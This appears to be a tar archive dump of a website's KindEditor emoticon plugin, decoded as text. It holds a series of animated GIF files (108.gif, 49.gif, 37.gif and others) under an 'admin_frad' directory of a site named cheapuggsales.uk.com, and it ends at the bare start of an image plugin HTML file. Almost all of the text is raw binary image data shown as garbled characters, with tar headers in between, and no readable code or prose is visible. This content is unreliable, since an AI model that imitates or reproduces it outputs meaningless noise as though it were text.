`'*Op+r0bnP  p`C9@Q#hsJ@28ARD _YP@;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/108.gif0000777000000000000000000000202611633550314024472 0ustar rootrootGIF89aQcs9c1J!91{J1k!!!!sRc)Rk!!!B{!!11)ZZRֽεƭ޽sJJ9Zks1)sc)Ό{kνccc1))B99kccֽsssJJJ!Q,H*<ႅGHcG 6@Ԉ$hp#,iBI& *4X (4!D BR,Cʼn)XXD Pz@9s…  d߿:-1D$8hKCOH6J5ϕ!'|r wR ahFBlp# /D!cl  e1nj1JN;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/49.gif0000777000000000000000000001433111633550314024420 0ustar rootrootGIF89aF:Ḣ$ܛm  _ӆ)W(J95 Ђ1j x&SmwGv.̅>{GS+tnI{BNCڎ A!>%*o`0(&%A4Qۏ6gSC'&!~@s*YLq+]WZ}=-\P<Ԉԇx-p P{MM=CˉKÛȑ仅J߸oܯ~.M>ްRRm% |`&6)s+Şmݲ׳oǂرkҖ3Y[_!ؙ33̆+.ܥDK8ݜE9t ՉՊ᷃r ٘!πXɩ΄~g֋1w] ٤BGL?ͬڳX=eѯƫ}(Ÿ¦|4ѣX]h.%QQLg\4HL! NETSCAPE2.0! , H*TT~A+K@RYư-TaZ8Q6n "j6!$zq,x:t@"b$9pmó` FرOuf\DЖq@ЗA &|x A ( \M> p @K,C9ZApCd$8hZ$ 1FD ^ L\,@!mqpaTȐA ^p}q]I9޼a|P4\`#l䁃|pLa<ؠ*}4QE-pJ,`~0@"1%QBD3u!'!? ᣏt 20H2P4 1DԳ 1sC?$33L0A ܸE@`@bDcI3b' 0aD 2@҈bJtL9d aѧ! , H*TT~A+K@RYҢɰ-TaZ8Q6 Bj6!$Bq,<t@"bd9pmó` FPOuV]DЖq@}/@8 A ( \͝ #>Èpܐ^,C9cZApCd$8hZu op# 6qǎ &,ܰe88ΰ@e*ZdȠň Lpᡱ}qYI9޼PhRf IFXtG`<ؠ*} 4O qJ-P 0P921%QBD3.)q&mأ;@> UÒeC1A$ 1s$S3(L0A 8#EAA'1x9 (F!%5p 0aD2?҈bJtLG:B$zXd)A! , H*TT~A+K@RIư-TaZ8Q6n "j6!$X E׆':h!..xFuVy]`'yHRBAp`cA8̧q̗V`1P;G<-KT Tp: dL r@|| r09 @ $ w ^,C1ZA@pACud$8hZ$ p# &A@,@!m{ΰ@e*ZdȠX\hlGC5{= @J5 I6f: X J҇@Ls UJ!@K T /S%4PA4spN.#q@8A 2@9 @D C1A$@=3GTA2=+HQDP 1p9  (F!?4*| R Ft@z #$(A${SN+e:P@! , H*TT~A+K@RIɰ-TaZ8Q6n "j6!$ #ňpj/R Sh:2Pg`-8 p ՠb QhW  TE Xk ̌PM^O }&D KaP;; X J@Ls 񴀒J,P 0P921%QBD3.!q&mhc10Ё<@D dPLI,Ced 5L+HQDPI UN9abI3b' H)L+遌 04N+5JP@! , H*TT~A+K@RYɰ-TaZ8Q6n "j6!$$ pܐj/ n!p2Pg`-n V LJ!"סzՠ$D v3G6<LE B w ]d̢tȐMA>5; ~ lBoqHV`!P7G+ g@Ɣ G TA|xr0`0ƎG=>AUVV ,/:886 ()+~~++)>BLttsKLVVW[^d798IKP֣rrq!')/orx123 >>=555PO%%$.03BB@pq!     !, H*\! `b؈V4rJ ,a88)EHB:kwUp@ .Qnre2R ijx!ӈC ၭ*-hG.XB*Ί-Z`eu`D` R:\~21@OK *y@pO ZD S$hA2e x 3d2LjG 1*cL0-U0@| )MxeegoY'5 \#<2N{&Y`җ3F0>P ̼Űa@ B| hD+1bd0KaCD$ XP@;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/37.gif0000777000000000000000000000225311633550314024415 0ustar rootrootGIF89aα򼼼ĹѺ嬬XXXJJJ̳~~~222333999eee'''UUU``_.//븸bbb𵵵???SSS}}}554tttHHH;;;黻OOOkjj^_^989MLLFFFXWX767CDDɊDDCLLL`a`jjjAAB100蛛:99777NONFFEhhhî001^^^Dz``ahhgAAAkkk!,# H*A xX8FD!1#‰I! TH(:8QЙ8V0(b;Ă;CA@̎Й@#C@ qUAA >~@p 26 } ` G@ERV(9@ n@z ;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/121.gif0000777000000000000000000000204411633550314024465 0ustar rootrootGIF89afks{JRZބ9{BZck{甜)sBJRksJks֭1{9ƥΜk{{ccZsƭcsR9ޜ֔ZΔޥ!ޔƄ{ƌΔ!){){9ֵs֌΄ޔƄƌ!Z{s1skks)skccƄ)k1cRcZ)RR!f,H*X` )0"ŁcXQJHd8EʓOAć  @1$ɏ>rΐE-Flp7\@#-4@ċ7b@h`A.b  $P k2VpCH`q21Q8r̘ E؇QW\v W&5rȑ#a/"LBȎ Il.&K G {E/X@9I%zbHM& zyR3#;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/110.gif0000777000000000000000000000207211633550314024464 0ustar rootrootGIF89aťΰ%г+ҵ/,ʪί$ в*ѳ,Ĩ*\Oɭ0Է4ո5ո6Է5ʯ4ֹ8ո7/ؼ>ټ?ٽ@ٽAھBê;ھCF5|l(IJJKLLMNOQҹLRTUUVDG?WXXYZZֽV]\]_`aabccdefghlmnoprs]jxybXQѿvcxWtmQ}htzv~z݄z̈́wN̼}|kwf6WRC][Y|Yi"uTpRkP fN"x8bL%~AEWWNC0UK8]I(?<7}zuxxxaaa111"""!,/ H*\ȰÂ= 1#sD'J hIM2*Iy(;xN $I6kq/cT*0>op9fNGbҨy`,`HBJ+]\b-KAD&MVM ] Y]%F~9i%] "^/[)@c =U+;j4N]/<=_wɈYg8^Y*䫂5YqϞg}a 0_ ܮ@P_]6f`&!,[ HU @Ȑ>0JaaCJb%jOV^\1 CCX)Qʍ 4&?bn*@Y`c$$R'( uHqPЂ"zt(  8 )ڄBlBb!54L.3EnnĊbbluuQSjVXu49Kfj}hfr"#/FH^mo}|xyWTaԭ絹$!.EHVop{vx77Dȯέ99EWYbĕ16J^`UXkgiHFR*.>NO\??QTP]54=𴮽//=xxMSpڠggxYXlGG\X\zfjih! NETSCAPE2.0! , H*\_QDئEQTqF,hG=8RL$ZUJXdV9/j4ډen*Y LT8P0uF`ºsovi0`[& 1bàF(_d:07mR1yy !''T`@4(4i@0ۼH$0JhrPε6!,Q-dA&X 9Ti@y0rg?=p n# F;G`)mpA | bO dB%H/XłֈQ |8A,xS7"HA ÄX 5ԈЁL+.Ф'@%! D!BaF tJ+L 0G.lAZ(BC`! , (`Q 4X ګ?EfF|1,S L0 > ͛]XXQ#sF%Yh A:Bu4Ձp`A8&&$A @\ $F6CdA&Aa$HdTJnׄkTt@z/MYxb@tE_) i\6KXXL D208bb, (Ȱc,("U*U2-hDp a[lQ! , gG$@p¬r:1p *Mg"'Q6 K h#p²P! gė ,P @LPdO 0m°?XAÂ3%#'> (\ Y'08=,$@X =D #p]Cnׄk^`/Ƒ;0h =iȃVdA2l Đ2HȠ]PSY& pB=A`B?t * (-т0lN9 ).dr欕M؟ 3WהC! , 8 }*%LHl.ԡ@6Yv`a#aiR 0AZ-B :! HȔHj*+N)gL o6%I84sb @_ 2 @$Olb?HCql /\߁f(8X90 l`! 0hG&:@Bjdn ) H1.@ @@j !=Cj FKcE_JQI %! , HV9*Ȱz\GE@Qh(S*TDG8Ӑ!yG̅ kj 'M&04'8ڌMPQ $Q4a ^&w N: 2Կ4iD ,lh-B0 R&ݽh? %p̟+'^M,O'Pٯ anM7"q P'e'8;CɌ4!Ѱڲ+Psȝ A АڔCYHѣ1.8 !`!ƨ3CG0Yd`E24K2XJ$T2@! , H*\_QDx`DDUq;!°T Zy7f$ԷAX4<4|dX4PXJL@=x8P0A_$ jD?8jp̶@M$?L'F4|r'$(hPa;|nȆ HBjh8' 6/*(dnt`@ w7&çi Tƃ` /Xȁ&N~d 7Z^H1`Y0k^ pp3!s$x[=bH\aB, 0WP h8ּP%L /@ ,\" 1,@ P 3`c""xQ/ ' AfD BaF (1xi 0A%H )tBCl! , fhhǠ TRO VyH1 %h;NHԠūWp$7ˉ;g"\# ] PxHmz{߿AF'àjAC6N2@H0'x1G3Rvr dd3h>9p )Bif #%z, (c;d!rV.`8Z ,Y3_8 T$ȌPd ,$\L+?QHe ;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/105.gif0000777000000000000000000000237511633550314024476 0ustar rootrootGIF89a=ABBEEEHL̙01455699:;<=>>??CDCFGFIIJLMOO**,,12344778<>>ABEGJIMLO%%%,-.6:8;@DDFHMNPRR &&((119B@EFLQ%%.0HIR-76AEEJMN$'12?FGIN̳M_m ,;CDD'(7>BD݈ 'ר)34@ AC 3?ADDЦ̙3 Ȼe[f3̙f! NETSCAPE2.0!, H*+'O>ZH0V,.Aѫ qE5cXDQgТ1딩BOE8-̈JsOfN8` g+U.dcM!ٴԜ`̙QT%+H$3ft cVSt쯳NsVS'fˠIYgNsӨOפ\4i-jU'k_ʛNvM7e*6xohɹiimoURYfhV'ӎ0bH:KQ`gO}! , ( >i1bE #X+ `Adb FcII(T9H4`D Aʤ@$P@ R0{UlL4lf̜ TѢUFY׳P-٢uݹՋLfs%sV`@;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/34.gif0000777000000000000000000000413411633550314024412 0ustar rootrootGIF89a4a,-ȝq~E]Zۘ+Y5[m}cA:˅!^\Gw*=ȋFueB2΂ `3MPH‰:}&ۛQ=tU33M8:JvQ[Ku\ Hboj}=mJK5wxM 8~KZArՖ 0Wlnvb9HLyC/&QnG9oުF$EsJb4Gp:>߈Վ-=>U}inkA&]ޏ7dږHԚ7{EK|=s+1g`ѹSm%p,{5Ȧ|ѫwٰ}֖)ʱKAƧ寳o͉%(a>eŗBר] q[ 0Mt\o?n `E3Vsқܕ)Y8~I! NETSCAPE2.0! , H*-dAnKf4`H(Xȡ>2RXQ jC:rIBDŽ]bx`Q8) FfO,v4/ݢC?OnҫEJ`/@5ɋc -s言 ਆN56 Te 9`W wN@-o* 󷣛 (*M9&# ~ACv"C`/Cߣk*T@ E`j,d P'MDOT끰ÿ L>+6p@! ,n 8Aq@P| $+QdTTRG P?sSD?Ch|ߡDt<& h:ju+Ã! ,k A 9rF"FXO:!1G4v(@JDo 1SB)Y6QB&(9ȆL8Mx%LB5\J%췲իXʸ:'k@! , ~ ` BXu@XWd@>| d'p?wß/1A pRanwN@3wӟ??b Z:): B, YD9;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/22.gif0000777000000000000000000000570211633550314024411 0ustar rootrootGIF89a|-8_SK&xH-{2GƽҌm&QɅ=f&/ 0"зGߞ$˫҉9цwZҏ#}6͊$΁ ښHڤC +5CǍ(Şmי!RЪ^ ΔYs,ڎ eرkްɑÌm%ؙȯo߸o&wĵם-מ5̕@Җ3|2SK(.0ʱ{p,ZP,Ǐ@Ȑ>ןDѬt&RLJ31ПJgݡҏ*ӻi FЯXg1/.!d! NETSCAPE2.0, H% B ‚306ai( G< #PG#3$a0)nANp\A!,JD(@@G"‘ pÍ?dtg$I(S4 .c 8si`$M! d,U H*\ȰBTp!E /N0 @t 8JÛ8sɳ'B,} JѣH!<, t$!@  D0! ,,04L8eB>XВA hAbШ`AxhBH7B00u *)@`ӧ,0CݠQm |Qh R`4X ((À pa 0 (P`  %ZB xu  ]x0! Bj c@m#(`d7 /$?d1A}0hH @HAhF?l@Jq4hpH )(@pE!:1"lĂ-ƌ#0i#O|D I(pAG @"\"P@! ,; H*\ȰCl(Ċ`Ѣď"I&S\ɲ˗0c !, t$!@78ǠQ$H @;1QE.^h$HD1ht0ؠ€34h!!e] Q.5!G7hL@ 5[adž/JP`-5@11AJ @B,@P%  \8!&@7;@,@P"  6@A|B <0@!}:n/;H!~s| S@B.F(PQ, wQzQq@ 06@qZA  > lѢG=B G|)$a8uqG"D! ,Y H% B ‚9Q,F8wdA&6pʖ)`0cɳρ~ JѣH*]ʔh@!, t$!@78ǠQ$H @;1QE.^h$HD1ht0ؠ€34h!!We] .5!G7hL@ 5[adž/JP`-5@11AJ @B,@P%  \8!&@W2etP  L( <@@|ɸ CA>@Pp0&BD' &FB.&.PH  \z- rp06qQAPc(@G,k83"x$,p8B \P("pQ@! ,X H% B ‚9Q,F8wdA&6pʖ)`Ip&̘8sɳϘ+~< ѣH*]j4 ;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/59.gif0000777000000000000000000000277511633550314024432 0ustar rootrootGIF89a^[_]T\QO/URF+QWE+XZVSRYGVm+IKC>U>DʐNPXTGCྯEyBBąEUӭTCK%?=?PG߹%%D֫zSIAAND ʼnT+D+>Q@ܒN,ශɨSB^ԱOK4)>FD#D-J% caOIc;@nAXv,[>H4lak'?@LJFg@-?N߽Ϻk&ϻg-߾ۻpWs#v#&y'g@M4g࿯&MWw#ZMYLd#?^#ʶ'aL׺J`! NETSCAPE2.0! , H*\( "p"ODULu 7&HPHT)Ug Q)H ` B(8pϜ`Y:vW-Pz"+e8=f1c K]p40& &71 V`@B*0o_c\s^j h!C!5S0 c@ YCD0]VRs aB 5`\0At4AI[x\Cs\`0 CEHsp1LiqD# ȠzDBD @3ъ,"!, H*\Ȱ!2V84< V\1VF< !᱓^a3dǧ7H&,vLPq 9 aAPz"+e`0!c(#f(":4DL© BZ "  P@~ tDhg*!  L1G ;? p=@҆0,nB +9`A XxxY~Á20V.u >(RpKIuh  R⠐*!!+=`0F!I C+#J ub4 b`G;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/image/0000777000000000000000000000000011633550314022552 5ustar rootrootcheapuggsales.uk.com/admin_frad/kindeditor/plugins/image/image.html0000777000000000000000000002161411633550314024531 0ustar rootroot Image